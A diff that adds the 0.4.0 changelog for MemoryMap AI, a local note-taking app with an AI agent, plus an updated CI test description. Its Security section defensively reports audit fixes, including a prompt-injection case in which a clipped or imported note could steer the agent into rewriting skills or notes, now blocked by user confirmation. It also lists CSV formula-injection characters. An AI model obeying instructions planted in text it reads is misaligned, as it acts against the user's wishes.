 # What each step proves, in order (read the step names in the run):
-#   1. The page and every asset it references are in the bundle, served
-#      with a script type the window will run.
+#   1. packaging/frozen_smoke.py: the page, every asset it references and
+#      every lazily loaded one (read from app.js's LAZY_MODULES and the other
+#      scripts, so it cannot drift), each served with the type the window
+#      runs; then search, a stats question answered without a model, the
+#      backup exports (the sealed bundle's cryptography included) and the
+#      Alembic stamp on a fresh data dir. No traceback in the app's output,
+#      and nothing written inside the bundle.
 #   2. The wizard's optional-packages step works from the frozen exe:
-#      `--install-extras docx` borrows the runner's Python, installs into
-#      the data folder, and the running app then reports it installed and
-#      serves the About panel's release notes.
-#   3. installer.iss compiles. release.yml was the only thing that ran ISCC,
-#      so a Pascal syntax error in the wizard page shipped unnoticed until a
-#      tag was pushed.
-#   4. The installer installs silently into a path with a space and a
-#      non-ASCII letter, the installed app starts with *no* MEMORYMAP_DATA_DIR
-#      (the way the Start Menu starts it) and keeps its notes and log in
-#      %APPDATA%\MemoryMap AI, a silent install downloads no packages, and
-#      the uninstaller removes the program and leaves the notes.
+#      `--install-extras docx,pyodide` borrows the runner's Python for pip,
+#      downloads and unpacks Pyodide itself, installs both into the data
+#      folder, and the running app then reports them installed and serves
+#      the About panel's release notes.
+#   3. installer.iss compiles, and stamps itself with __version__.
+#   4. An upgrade: the latest published release is installed silently into
+#      a path with a space and a non-ASCII letter and writes a note; this
+#      build is installed over it with no /DIR (the updater's way); the
+#      upgraded app, started with *no* MEMORYMAP_DATA_DIR (the Start Menu's
+#      way), reports this version, finds the note, has the newest Alembic
+#      revision, keeps its notes and log in %APPDATA%\MemoryMap AI and its
+#      shortcuts right, holds no stale file, and downloaded no packages.

 ## [Unreleased]
 
+## [0.4.0] - 2026-10-06
+
+### Highlights
+
+- Capture and filing, checked end to end: a note typed in Capture is saved, filed and findable after a reload, with or without an AI model. 49 browser tests now run on every change, including the flows that were broken in 0.3.32.
+- Works fully with no AI model: filing by your notebook's own words, search, Ask with cited sources, reminders from plain words, and clear next steps wherever a model would help.
+- Filing certainty you can trust: a model's pick never reads 100%, drops when your notes disagree, and offers other categories to tap when it is unsure.
+- Nothing lost: unsaved edits to a note or a document survive a reload or a closed window and are offered back; deletes go to the bin or can be undone.
+- Mind maps: a real hierarchy by default (a central topic, main branches, leaves), four looks, per-level styles, copy and paste style, and topic icons.
+- An emoji and icon library: 1,500 icons and nearly 500 emoji, placed as stickers on boards and maps or inserted from the editors' toolbars.
+- Whiteboard: drag an item onto a delete target to remove it (with Undo); links follow an item while it turns.
+- The Writing room (was Write with Atlas), chat progress that says what Atlas is doing, refreshed Atlas avatars, and a clearer "AI off" status.
+- Interface animations: subtle, cheap motion (a sliding tab indicator, menus that grow from their button, toasts that slide in), with its own switch in Appearance.
+- The document editor: a current-line highlight with line numbers, and whole-line copy and cut, as in VS Code.
+- Security: HTTPS for other devices on your network, a stronger password rule, private notes kept out of saved answers, backups and the search index, and nothing touches the network until you allow update checks.
+- Windows: the installer and packaged app were audited (17 fixes), and every build now installs, upgrades over the last release and uninstalls in CI.
+- A new GitHub Pages site and fresh README screenshots.
+
+### Security
+
+- Agent mode: a very long question with a long dotted run in it (a pasted list of versions or addresses) no longer stalls the turn before it starts; the check for sites you named took over a minute on 64,000 characters and now reads it in one pass (the final scan, 2026-10-06).
+- Import from other apps: an Evernote or Notion export can no longer stall the import with a crafted run of unclosed tags, brackets or spaces; five of the patterns that read it backtracked quadratically (2 to 10 seconds on 20 to 180 KB, so minutes on a 200 MB export) and now read in one pass (the final scan, 2026-10-06).
+- Agent mode: once a turn has read text from outside, opening a page still waits for your confirm, except the exact address a web search returned in that turn or a page on a site you named in your question; the same page with something added (a query string, a longer path) or a name that only ends like your site still asks. Research turns no longer stack a confirm card per page, and a page still cannot send your notes anywhere by itself (SEC-02's last step, audit 2026-10-05).
+- Passwords: a new password (setting one up, or changing it) needs at least 8 characters, and one that is still easy to guess (a common choice, 12345678, one kind of character in a short one) is accepted with a warning that says why; a password set before this keeps opening the notebook. Before, a 4-character PIN was allowed, and a copy of the notebook file guesses that offline in minutes (SEC-17, audit 2026-10-05).
+- Private notes: making a note private now also redacts every saved Ask answer and chat reply that cited it, or repeats six or more of its words in a row (an agent's tool step and its thinking included); the answer says its words were removed and your question stays. Before, an answer that quoted the note kept its words readable in Ask history, the conversation and the database file (SEC-14, audit 2026-10-05).
+- Import a folder: running it again is safe. A file whose place in the folder and whose text are already a note is passed over (a note made private since is matched by its place alone), so importing again finishes an import that was cut off instead of doubling every note, and the activity line says how many were already in; one file that fails no longer stops the files after it (SEC-10, audit 2026-10-05).
+- Other devices: the network is served over HTTPS now, with a certificate made on this computer the first time the switch is on (no network, kept in the data folder, owner-only), on its own port, 8443 beside the usual 8000; this computer keeps plain http. Settings, Account and security shows the certificate's SHA-256 fingerprint to compare with the one-time warning a phone shows, and Regenerate certificate makes a new one without a restart. Before, the password and the session token crossed the network in the clear (SEC-08, the owner's decision of 2026-10-05).
+- Updates: the first start asks once whether to check for updates automatically (in the terminal for start.sh, in the app otherwise, the packaged app included) and remembers the answer; until then nothing about updating touches the network, the launchers' pull and the doctor's remote check included. Before, a copy started with start.sh or start.bat ran a pull on every launch unasked. Settings, About's button is now Check for updates and checks once even with the switch off (the owner's decision, 2026-10-05).
+- Other devices: `--reset-password` turns "Allow other devices on this network" off, the launcher listens on this computer only while no password is set, and a request that arrives from the network before a password exists is refused (403), however the server was started; before, a reset with the switch on reopened the whole notebook to the network with no password (SEC-01, audit 2026-10-05). The help says the traffic is plain http, for networks you trust (SEC-08).
+- Agent mode: a note clipped from the web or brought in by an import, and an imported document, now count as text from outside, like a web page: once a turn has read one (by a tool, or because it was retrieved for the question), every change to the notebook (edit, create, save a skill, set a reminder, rename) and every web request waits for your confirm, and the card says what it will do; before, only destructive tools and web requests after a web search asked, so a clipped page could steer the agent into rewriting a skill or a note unasked (SEC-02, audit 2026-10-05).
+- Private notes: making a note private now merges the search index so none of its words stay in the database file or its write-ahead log, and every backup and the Export backup zip is a cleaned snapshot, which also strips words an older version left behind; before, a private note's vocabulary (a PIN, a place) was readable with strings in every backup (SEC-03, audit 2026-10-05). The Export backup zip also stops missing changes still in the write-ahead log.
+- Sign-in: a wrong current password in Change password and Re-encrypt private notes now counts against the same wait as a wrong unlock (SEC-04); a request that names another site's domain is refused on this computer too, not only from the network, so a DNS-rebinding page can no longer lock you out or close your private notes, Lock does nothing without a live session, and Origin null is refused on the sign-in routes (SEC-05); a request body is capped at 1 MB until signed in, before it is read (SEC-06); a password over 72 bytes (a long passphrase, 25 emoji) works instead of failing with an error, and one over 1,024 characters is refused (SEC-09).
+- Backups: restoring one now signs every session out and asks for the password, so the restored private notes open with the key that came with them; before, a restore across a key rotation left new private notes unreadable after the next restart (SEC-07).
+- Attachments are served as downloads unless they are pictures or PDFs, sandboxed, so an uploaded script can never run in the app (SEC-11); a user name and password typed into the model server address stay out of the support bundle and the privacy receipt (SEC-12); on Linux and macOS the notebook folder is readable by its owner only (SEC-13).
+- A note's source address must be a web address, and every link the audit found opened without the link check (a note's source chip, a chat source card, the palette's sources, a link card, a bookmark row) now goes through it (SEC-15).
+
+### Changed
+- Tags: a tag typed and entered before the tag list had loaded no longer opens the list afterwards over the note form's Save changes, where a press meant for Save took a tag nobody chose.
+- Dictate with the voice add-on not installed, Compress on a chat with nothing to compress yet, and Add on an empty reminder now say so as a plain message instead of an error with Report this.
+- Documents: words typed just before a reload or a closed window (inside the 1.2 s autosave pause, or after a save the server refused) are kept on this device, and the next open of that document offers them back with Put them back.
+- Documentation checked against the code, file by file (README, INSTALL, MODELS, PRIVACY, TROUBLESHOOTING, ARCHITECTURE, CONTRIBUTING, DESIGN): the README lists this release's features (the Writing room, Interface animations, the emoji and icon library and stickers, mind map levels and looks, drag to delete, chat progress phases, whole-line copy, the active line, the Back and Forward list, HTTPS for other devices, the first-start update question); INSTALL, PRIVACY and CONTRIBUTING say the update check asks once at first start; MODELS names the suggested-download groups and fit labels the app shows; TROUBLESHOOTING gains the certificate warning on another device; ARCHITECTURE's directory map, router table, script counts (107 files, 38 at boot), graph layouts, tables and migration head match the tree; DESIGN's tokens and class names that no longer exist are gone (INBOX 645).
+- README screenshots retaken again, all 22, from a fresh showcase notebook (75 notes, the mind map now with icons and a look per level): the first-start update question no longer sits over the dashboard, and `readmeshots.js` counts toasts, skeletons and open dialogs at each capture (INBOX 645).
+- The project website (GitHub Pages) is rebuilt as one static landing page in the app's own look, light and dark: what MemoryMap is, the capture, filing and ask loop, a tour of the screenshots, privacy and offline, install, models, questions people ask, and links to the release, the source, issues and every policy on GitHub. It no longer loads the documents from the repository, which often failed, and names no version, date or count, so it does not go stale (INBOX 645).
+- Back and forward list: each row is an icon for its kind (note, document, board, map, tab), the title as plain text (markdown and file names gone; an image-only note is titled by its caption or "Image"), a small lazy thumbnail when a note opens with a picture, and the tab or sub-tab in muted text beneath; consecutive identical rows fold into one (Back and Forward still walk the exact history). The rows moved into a lazy bundle, so the boot JS is 418 bytes lighter (588,744 to 588,326 gzipped).
+- Motion: Settings, Appearance, Effects & accessibility has Interface animations, on by default: the short, cheap animations of the interface play even with Reduce motion or the system's reduced-motion setting on, and turning it off makes every one of them instant (Reduce motion now stills the large movement only: Atlas, the background art, the graph and the whiteboard). One sliding marker for every tab strip: the top bar, the sub-tabs, every segmented control, the Settings sections and a pane's groups slide to the chosen option and land on it after a resize. Buttons and chips press in, menus and help popovers grow from what opened them and close back faster, dialogs and sheets leave the way they came, a page or Notes section fades in a little quicker, lists settle in where their placeholders were, toasts arrive from the bottom and the others slide to make room, focus rings and hovers ease in; no interface animation moves a shadow, a size or a position property. The guided tour's script now loads when a tour starts or Settings, Help opens, 11 KB less at start-up.
+- Notes and documents: Emoji or icon in the note toolbar, the document's Insert menu and the / menu opens the same picker and puts the choice at the caret, an emoji as itself and a Phosphor icon as `:ph-name:`, which the reading view draws as the icon (never inside code). Before, the only way to an emoji was the document editor's `:shortcode:` completion, and no icon could go in text at all (INBOX 642, MINDMAP_PLAN decision 46; mc1-editoricons.js 7/7).
+- Boards and maps: Insert, Emoji and icons… opens the icon and emoji picker and keeps it open: a press places one in the middle of the view, a drag places it under the pointer. An emoji lands as a sticker (no card, its glyph sized to its box, exported as itself), a Phosphor icon as the library's vector icon you can recolour, and either dropped on a map topic becomes its icon; each is one Undo step (INBOX 642, MINDMAP_PLAN decision 44, WHITEBOARD_PLAN 37; mc1-stickers.js 8/8).
+- Mind maps: a topic's icon can be any of the 1,530 vendored Phosphor icons or one of about 470 emoji, from the one icon and emoji picker (the Text menu's More icons and emoji…): search, a Recent row, Emoji and Icons, arrows and Enter, Escape back to the button; an emoji is drawn as itself and kept in the OPML and FreeMind exports. Before, a topic could wear one of 11 icons and no emoji (INBOX 641, 642; MINDMAP_PLAN decisions 43, 45; mc1-iconpicker.js 12/12). The picker is a lazy module, so nothing loads until it is opened.
+- Mind maps: View, How this map looks picks the hierarchy (Classic, Outline, Boxed or Flat) and, under Centre, Main branches or Sub-topics, that level's size, bold, italic, box, edge bar, fill and line; a topic's menu has a Look group with Copy this topic's style and Paste style (Ctrl+Alt+C and V now reach topics, which they refused before), and Use this look for its level, which gives the topic's own look to every topic at its level (Illustrator's Redefine). Each is one Undo step (INBOX 641, MINDMAP_PLAN decisions 40 to 42; mc1-maplook.js 13/13).
+- Mind maps draw as a hierarchy: the centre is large, bold and filled in the accent (22px on a pill), each main branch bold at 17px on a tinted card with a thick line, deeper topics as before; a topic's own size, shape or fill still wins, a map-wide text size now reaches the deeper topics and leaves the centre alone, and Enter on the centre adds a main branch rather than a second centre. A topic's Fill offers Solid colour. Measured before: centre, branch and leaf all 13.6px at weight 400 (INBOX 641, MINDMAP_PLAN decisions 38, 39, 47; mc1-maplevels.js 13/13).
+- Package check (CI): the frozen Windows app is now proven on every lazily loaded script and stylesheet (read from app.js's LAZY_MODULES, so the list cannot drift), each with its MIME type, and on the API a packaged build can get wrong: search, a stats question answered without a model, the backup exports including the sealed bundle, and the Alembic stamp on a fresh data dir; no traceback in its output and nothing written into its own folder. It installs a second optional package (Pyodide, the app's own download path), upgrades over the latest published release and checks the note, version, schema, shortcuts and stale files, and checks the uninstaller removes the whole install folder. The release build runs the same smoke, and the check now runs for any change to the app, the frontend or the migrations.
+- Boot budget: the Attach picker's row (`pick-row.js`), "Unlock private notes" (`vault-unlock.js`), the skill editor's verify and tool readers and the Library's Remind me moved out of the boot scripts into the lazy files that use them; boot JS 588,744 to 587,342 bytes gzipped, app scripts 320,610 to 319,208.
+- Notes: an edit left unsaved in a note's form is kept on this device until Save or Cancel, so a reload answered Leave, or a closed desktop window, no longer loses it; the next start offers Open them. The Guide says so
+- Dashboard: the boards widget's New board waits for the boards' code, as Library, Create does now; both did nothing on a first visit since the Library tab began loading library.js alone (FE-03(c)), and both worked in 0.3.32
+- Ask: a question that names a category as where its notes are ("Summarise my notes in Health.", one Ask suggests itself, or "my Work notes") is answered from that category; it was answered from whatever matched the words, other categories included, with a model and without
+- Filing: when a slow model's answer replaces the words-based stand-in, the composer's line follows it (it said "Filed under Health" and nothing said the model then moved the note to Work), and a move is said in a toast with Put it back
+- Command palette: Take the guided tour (Ctrl+K, "tour") opens the tour from anywhere; it was reachable only from the Dashboard's first-run tile and Settings, Help. The Guide's tour topic says so
+- Import: Markdown files and folders now join up their [[wiki links]] as links (the Graph showed an imported vault with none until each note was saved again), and choosing the same files again adds only what is new, saying how many were already in
+- Graph: Concept maps landed on the Library's All view on a first visit to the Library instead of on the boards; it now waits for the Library before opening Boards & maps
+- Boards: Library, Create, New board and New mind map did nothing on a first visit to Boards (the button was pressed before the boards' code had bound it); they now open the board gallery and make the board
+- Documents: Library, Create, New document on a first visit opened the last document instead of making one, so a title and text typed there went into an existing document; it now makes the document, and a link to a document (#/docs/2) is no longer replaced by the newest one as the tab finishes loading
+- Library: Ctrl+K, Open the bin on a session that had not opened the Library yet showed "Nothing of this kind yet." under a full Everything count; a cross-fade render that was overtaken by the load no longer draws its empty list over the loaded one
+- E2E: the Playwright suite drives capture and filing end to end against a real server on a seeded 75-note notebook (filed by meaning with no model, tags, title, a picked category, search, timeline, graph, Undo and Redo, Quick note, paste), and a first-run project on a fresh data dir
+- Manuscript look: muted text is a shade darker, so it reads at 4.5:1 or better on Settings' cards; 17 labels and facts in Search and index, Account, Skills and Tools were at 4.33 to 4.47:1 (qa-1005, contrast.js LOOK=manuscript: 17 to 0).
+- Settings, Logs: the filter hint reads "Filter logs", which fits the field on a phone ("Filter records…" was cut off at 390; qa-1005, qa1005-polish.js placeholders).
+- Notes: opening a note for editing in the first seconds after the app opens (or on a slow disk) holds the note's place with placeholders while the form loads; before, the card dropped to an empty 15px strip and every note under it jumped up and back (qa-1005).
+- Notes on a phone: a card's connection pills keep to one line, their words cut with an ellipsis, as Ask's results already did; at 390 they wrapped to two small lines inside a one-line pill (qa-1005, qa1005-polish.js linkpills).
+- Settings: a text field in a settings row wraps onto its own line rather than shrinking; on a phone the server address field was 62px wide and five hints were cut off, one at desktop width too ("Optional, 8 or more character"); a template's description hint is shorter (qa-1005, qa1005-polish.js placeholders: 6 to 0).
+- Settings: a status line with nothing to say takes no room; nine cards (Models' backend card, three in Tools, Web search, three in Import and export) ended on 27px of empty paragraph margin (qa-1005, qa1005-polish.js settingspad: 9 to 0).
+- Notes: between 1100 and 1170 wide the notes bar no longer lays its Filter menu under the sort picker ("FiNewest first"); it wraps its actions to a second row instead, and stays one row at 1184 and wider (qa-1005, qa1005-polish.js dockoverlap: 1 to 0).
+- Library: the Cards and Rows switch shows your choice the moment the tab opens, and Boards & maps shows placeholders while its editors load; before, the switch had neither pressed until the list answered and the sub-tab was blank until the boards' bundle arrived (qa-1005, qa1005-polish.js with both held 3s: 0 and 0, then 1 and 4).
+- Notes: a task line in a note card draws as a box (ticked ones muted and struck through), as the note page and documents draw it; before, the card showed the line as written, dash and brackets included (qa-1005, qa1005-polish.js).
+- Chat, Notes and Library empty states: the Ask Atlas offer is set apart by space, not by a short hairline floating in the middle of the centred welcome (qa-1005, qa1005-polish.js: 3 rules to 0).
+- Reminders: a hovered reminder's actions now cover its time whole; on a reminder linked to a note (two lines) the strip sat 11px low and the top half of the time showed above it (qa-1005, qa1005-polish.js: 6 rows to 0).
+- Notes and Library: a drag-selection begun in the first seconds after the app opens (or on a slow disk) now scrolls the list at its edge like every later one; before, the edge scroll's file had not arrived and the first drag scrolled 0px (qa-1005, measured 756px with the file held back 1.5s).
+- Menus: every menu now fades out over 120ms instead of vanishing (one CSS transition on the hidden state, so the opener, Escape, a press outside and every other close path get it); a menu that was moved out of a clipping scroller goes home after the fade; reduced motion keeps the instant hide.
+- Maps: a topic the render pass did not repaint no longer takes the server's placeholder height into the size cache, so pans, rings and edge ends computed from a topic's size land on its box (they were 12px off at 390 and 38px at 1440 after a state fetch); mapstrip.js holds it to 4px.
+- Sweeps: left1005-frametitle.js measures nested frames at a phone's fitted zoom (the outer title's words always reach the outer frame) and resets its board before its last drag, which the edge auto-pan had been taking.
+- Write with Atlas on a phone: the what-to-write select takes its own line, so it and tone and length show their values (they were cut to 16px in one row of four controls); phonecapture.js and tablefullclose.js measure the Writing Room and the table full view at 390.
+- Sketch pad: below 820px the ink dots keep their gap, so no two colour targets overlap (six pairs did at 700 with Large text and Spacious); the bar's one allowed second row is 820 with Large text and Spacious, and sketchbar.js now measures ten widths.
+- Sweeps: contrast.js now reads a board and a map (open, every item selected, each sidebar tab) at 1440 and 390 in both themes; none fails, the sticky's drag grip included.
+- Gate: scripts/gate.sh --staged lints the staged index once instead of the working tree and then the index (the same lint set twice); with nothing staged it lints the working tree, so it never runs zero lints (tests/test_gate_staged_once.py).
+- Graph: the zoom strip's four buttons (Full screen included) are checked to be what a finger hits at 390, clear of the New note button; the report of Full screen sitting under a small button no longer reproduces.
+- Empty lines: the last nine (Documents' list, outline and two histories, Chat's saved chats, Ask's history, the graph pane, the board's overview and Format panel) are the one empty-line recipe, so every short "nothing here yet" line is one size, ink and margin; the lint's waiting list is empty (`tests/test_ui_recipes.py`, `op5-1005.js` MODE=emptylines).
+- Mind maps: Branch colours offers eight palettes, four new (Bold, Paired, Bright, Earth), each colour at least 1.6:1 on white so a branch line never vanishes; MINDMAP_PLAN §12.1 closed (its open rows found built or superseded) and moved to HISTORY (`tests/test_map_theme_palette.py`).
+- Tests: the edit-embeds tests drain the shared job pool before and after each test (its dedupe key was shared by every test editing note 1), hold the embedder on its gate until released, and wait with 60 s ceilings.
+- Tests: the 5,000-entity merge-candidates speed check is measured in process CPU time, with the 1 s budget unchanged.
+- Tests: the extras install-history test polls for the history row, because the worker lowers the running flag a few statements before it records the row.
+- Tests: the relations cost test measures the 2k and 10k passes in process CPU time, so the five-times-the-notes, ten-times-the-time ratio no longer drifts with machine load.
+- Tests: the lexical-filing tests no longer fail on a loaded machine: the wait for the background filing pass has a 90 s ceiling and raises a clear error instead of returning a pending status, and the 800-note speed check is measured in process CPU time.
+- Tests: the debug-health tests no longer fail on a loaded machine: the running-job test holds the re-index on an Event and waits for the worker to enter it (it was a 5 s sleep raced against the request), and the 20 ms budget is measured in process CPU time with the budget and fastest-sample rule unchanged.
+- Sweeps and docs: `errors.js` runs a browser per width with `--disable-dev-shm-usage` and reports a renderer crash as a finding; `noteeditflow.js` and `noteedit616.js` seed their own bookmark and note so they pass on a fresh data dir; thirty-eight finished agent files left `docs/roadmap/agent-remaining/` for the archive, their open rows carried into `OPEN.md`.
+- Export activity: events about a private note stay out of the file after the note is purged too (a purge seals its events, dropping their text and flagging them private, and the export leaves flagged events out)
+- Settings: a status line that names a server address (Models, "Saved, but nothing is answering at ...") and a long Ask Atlas question in a help popover wrap inside the pane at 390 instead of running it sideways
+- Gzip caps back down: the list drag-select edge scroll moved whole into drag-edge.js and the note edit form's formatting strip into note-edit-panels.js (both lazy, one caller each), boot JS cap 589,600 to 588,400 and the scripts total 321,500 to 320,300; the edge scroll loads three seconds after boot, so a drag in the first seconds does not scroll at the edge
+- Settings, Background tasks: the optimisation pass's model override says which model its default means ("Same as utility model (currently ...)").
+- Settings, Models, Installed models: each model you have is a card like the suggested downloads, with its size on this computer and what it is in use for; its menu puts it to use, copies its name or removes it.
+- Appearance: a theme card's preview and swatch, and a setup snippet in Settings, round their corners inside their card's corner (concentric) at every corner setting.
+- Appearance and layout: the shadow strength slider now changes every shadow at every step in light and dark, every palette included, from none to the strongest, with 5% looking as before; in light, a text field is a shade deeper than a segmented control beside it, as in dark; the Ask results sit in one column below 1100px wide instead of two narrow ones; and a short "nothing here" line in the agent panel and Settings lists is one size and spacing everywhere.
+- Chat, Attach: a mind map's row shows the map's own shape, a PDF's row its first page (where pages can be drawn), and a document's row whether it is prose, a table or code, each in the same small tile as before.
+- Layout: from 600 to 719px wide the status bar and the dashboard's quick access now look as they do up to 819px (the tablet band), instead of switching to their phone sizes 120px early.
+- Docs: the no-em-dash lint now covers docs/**/*.md, docs/index.html and the root *.md files, and the 5,900 em-dashes it found are reworded (comma, colon, parentheses or full stop); the two changelogs stay identical.
+- Docs: MODELS.md now says `qwen3.5:35b-a3b` is about 21 GB and needs about 24 GB, as the in-app catalogue does (it said 24 GB and 32 GB); `tests/test_models_doc_sizes.py` pins every catalogue model's size and stated memory in that file to the catalogue.
+- Suggested links: Link all above 70% asks first, says how many pairs actually linked (Linked 3 of 4), and a pair whose link failed stays in the list; the Links help line and the Guide name it.
+- Settings at phone width: a setting's label no longer stands 114 to 202px tall above its control (39 rows, the gap above Tokens per step in Tools it can use); the stacked row sizes the label to its text.
+- Notes and Library: a text selection dragged within about 56px of the top or bottom of the list scrolls it, faster the closer to the edge (the browser alone covered only the last 20px); the selection follows (INBOX 608).
+- Startup: the note edit form, the full backup's save and restore and seven other helpers that only one lazily loaded file calls moved into that file (and, after the edit form's redesign merged, the embedding models list, the form's close and the Settings bar's New listener), and the edit form's bundle is fetched a few seconds after start so the first Edit does not wait; the scripts the app loads at start are 589,955 bytes gzipped (from 601,448 after the day's merges), and the boot, app.js, total and guard caps are lowered to the measure.
+- Settings, Packages: bundles of the packages one kind of work needs together (Documents, Vision, AI, Voice, Desktop, Code). A bundle's Install fetches the ones still missing, and its ⋯ reinstalls or removes them all; tick any packages to install, reinstall or remove them together from the selection bar. They run one after another as one background job with its progress in the activity panel, each package says how it went under its row, one that fails does not stop the rest, and Quit stops the rest. An installed package shows its version and its size on disk, and Reinstall and Remove are in its ⋯. Offline, an install says it could not reach PyPI rather than that the package does not exist (INBOX 595).
+- Documents, Download as .docx: pictures come along now. A picture on a line of its own keeps the width, alignment and caption you gave it (`![A river|400|center](...)`) and is fitted to the page; one in a sentence stays in its line; each keeps its alt text. A picture that is missing, on the web or in a format Word cannot hold stays as its words (FEAT-18).
+- Atlas's props move of their own while they show (INBOX 623): the lantern swings on its string and its star flickers, the bell sways, the offline link sparks, the music's cups pulse, the night moon rocks on its ear, the reading lenses catch the light, the book's pages lift and its stars twinkle, the map rocks and twinkles, the coil breathes, the startle's bubble wobbles and its "!" pops. Each moves about where it is held and holds still with Avatar animation off or under reduced motion.
+- Atlas, in its large view: the companion visiting it floats free in the middle of the view, clear of the card's edges, instead of hanging from its perch's edge or sitting on a drawn ledge, and sways and bobs on the view's two clocks between its acts; its perch's pose comes back with it when the view closes. An act is eased into over 0.3s, as it was already eased out of (INBOX 619).
+- Atlas: lying down and curled up, the whole figure turns as one; the lower body and her waist wisps no longer turn 16 to 42 degrees off the torso, which stayed nearly upright while the lower body lay half off it (INBOX 619).
+- Atlas: the torso and the lower body meet as one silhouette (INBOX 615, and 619 for her). The lower body moves inside the body's own sway and breath, and its own swing (the hem's wind, the walk, a pose's lean) is a shear about the join rather than a turn, so the waist stays under the torso while the hem moves; his cloak is a little narrower at the waist.
+- Atlas: its eyes never go blank. Changing to or from the heart eyes, the iris and the heart now cross over on one clock, on the companion and in its wake and doze; before, the companion's iris cut out at once while the heart faded in, leaving a white eye for up to half a second (INBOX 619).
+- Atlas, his look: a slimmer, athletic young-adult build to match hers (19 to 21): defined shoulders tapering in a V to a narrow waist (shoulders, waist and hips 17, 9.5 and 9.8 across where they were 18.6, 15.1 at the belly and 10), slimmer arms, and a cloak and tail that taper with it (INBOX 614).
+- Atlas: its tail grows out of its lower body (wide where it leaves, in the body's own colour, deepening into the galaxy along its length) and is alive: it bends along its whole length as a spine does, a wave running from root to tip, and changes what it does every few seconds at random (a lazy sway, a curl, a wrap, a flick, a wag when pleased, a trail on the move, a droop when low), each change eased and never the same twice running. The celestial rings sway their tilt, each on its own clock, with their dust running round them; the planets go round faster, and each planet's glow swells and its swirl of light turns. A poke in the large view now eases back into its idle motion instead of snapping still, and a companion drawn from a name keeps a gentle sway there between its acts. Her arms turn about her own shoulders, so her right arm no longer pulls away from her body as it moves. Double-click or double-tap the companion's resize handle to put it back to Medium (INBOX 600, 601, 612).
+- The bars at the top of every tab and Library view read as one quiet page head: the title with no divider after it, a count as plain muted words, a search box with a magnifier and no border until you type in it, the icon buttons together at the end and the one filled action last. The graph's display options are one aligned column with one head style, and Settings lists a long section's groups under its name in the sidebar (on a phone, in the section picker) instead of a strip that scrolled sideways; nothing in Settings scrolls sideways now.
+- Reminders: snoozing one (+1h, tomorrow, 10 minutes) has an Undo in its toast and in the status bar's pair, which puts the old time back even when it was already past; `PUT /reminders/{id}` takes `restore` for that (WORLD_CLASS_PLAN row 32).
+- Mind maps: Branches from my notes. On a topic, Add, Branches from my notes… (or Ctrl+K) suggests up to five children found in your own notes, each saying which note it came from; with a model running it names a topic for each, without one the notes' titles are the suggestions. Tick the ones to keep and Add makes them under the topic, each with its source in its note, as one Undo step (the features audit's FEAT-13; WHITEBOARD_PLAN decision 36).
+- Whiteboard: connection points, like draw.io's. With Select, pointing at a shape, card or text box shows where a connector can attach, on the shape itself: a diamond's tips and side middles, a triangle's corners and sides, an ellipse's compass points (they were its box's corners, off the shape); drag from one to draw an elbow connector with an arrow to whatever you let go on, or to a free end. Links made before keep their ends. Moving both things a connector joins now moves its bends with them, in the same Undo step (WHITEBOARD_PLAN decision 35).
+- Whiteboard: smart guides line a dragged item up with drawn shapes too (a flowchart's boxes are shapes, and had nothing to snap to), and the third box of a row snaps to the spacing the first two set, with the two gaps marked while you drag; Alt still turns every guide off (WHITEBOARD_PLAN decision 34).
+- Whiteboard: a board's History, a time machine (the features audit's W2). Board, History… puts a slider at the foot of the board: drag it back (or press Left, Home and End) and the board is drawn as it was at each moment, a moment being a run of changes up to two minutes long, with what it added, changed and removed; Put back restores the whole board, or only what was selected, as one Undo step and as a change in the history itself; Esc comes back to now. Nothing on the board can be changed while the past is shown. Items placed from the library now each have their own history, so they go back and forth like anything drawn by hand (WHITEBOARD_PLAN decision 33).
+- Whiteboard: a Mermaid flowchart's subgraphs come in as frames (they were left out). Each subgraph, nested or not, is a frame with its title round exactly its own shapes, laid out as one block so no other shape falls inside it; an edge to a subgraph joins its frame; the whole import is still one Undo. The Mermaid export writes the board's frames back out as subgraphs (WHITEBOARD_PLAN decision 32).
+- Whiteboard: bends on every connector, and line jumps (draw.io's). A straight or curved connector takes bends as an elbow does: drag the ring in the middle of a run (or double-click the line) to add one, drag a bend to move it, double-click it to take it out; a straight line runs through its bends, a curved one curves smoothly through them, and changing the line shape keeps them (WHITEBOARD_PLAN decision 30). A double-click or a click on the ring no longer drops a stray bend where it was. The Format panel's new Line jumps (arc, gap or sharp) makes a connector hop over every line under it where they cross, in the SVG export too (decision 31).
+- Skills: a new built-in, Write a document from a tag, asks which tag, reads every note under it and saves one document that draws on them (the notes themselves are never edited); run it from the skills above the chat box or ask for it in Chat. There are 21 built-in skills now.
+- Settings, Import & export: a full backup can be sealed with a password (it saves as a .mmenc file, AES-GCM with the same scrypt key the private notes use; empty keeps the plain .zip), and a new Restore a full backup group reads either kind back: a wrong password or a file that is not a notebook changes nothing, your current notebook is snapshotted first, and attached files are put back over the ones here without deleting any. Before, the full backup zip could be saved but nothing in the app could read it. Measured through the real controls at 1440 and 390, light and dark: three notes binned, a wrong password refused, the right one brings all three back.
+- Chat: an answer to a question about your notes is numbered as it streams, the way the Ask tab does it: each source number appears when the sentence it backs is finished, instead of all at once with the last word (`grounding_live` is read by the Chat tab's stream; the markers are put back after every live paint). Measured with a stand-in model at 1440 and 390: the first number lands about 1.8 seconds before the answer ends, where it landed with the last word.
+- Settings, About, Health: a Files on disk row says what attached files, pictures and backups weigh beside the database (`GET /storage` carries the three sizes, from a walk cached for a minute).
+- Library: a Highlights chip lists every passage you marked with ==words== (or a colour), one card each with the note it is in, and pressing one opens the note; search takes `has:highlight`, and a highlight is read the same way in both.
+- Filing: a note of one to three words is filed by meaning only when its nearest filed note is close (0.72), so "ai is cool" no longer lands in whichever category is least far; measured with the shipped embedding model, 59 of 60 short notes that have a home still file and 3 of 20 that have none do (it was all 20). Otherwise it falls to your notebook's own words, or the model.
+- Background tasks: notes that were filed by your notebook's own words while no model was available get a second opinion once one is back (20 a tick); the ones the model files elsewhere move, and the rest are marked as the AI's, so moving one by hand teaches the filer. Never a private, binned or hand-filed note.
+- Library, Activity: an Export activity button saves the activity log as a spreadsheet (time, actor, action, entity kind, entity id and title; never a payload value), oldest first, with events about private notes and the vault left out, every cell defanged against CSV formula injection (a leading `=`, `+`, `-`, `@`, tab or carriage return gets a `'` in front), `limit`/`offset` paging and `X-Total-Count`, and the export is itself logged; `GET /audit/export.csv`.
+- Settings: Personas, Skills and Templates have New persona, New skill and New template in the bar at the top of the pane, which opens the form, ends an edit in progress and puts the cursor in its Name field; on a phone it is a + on the title's row.
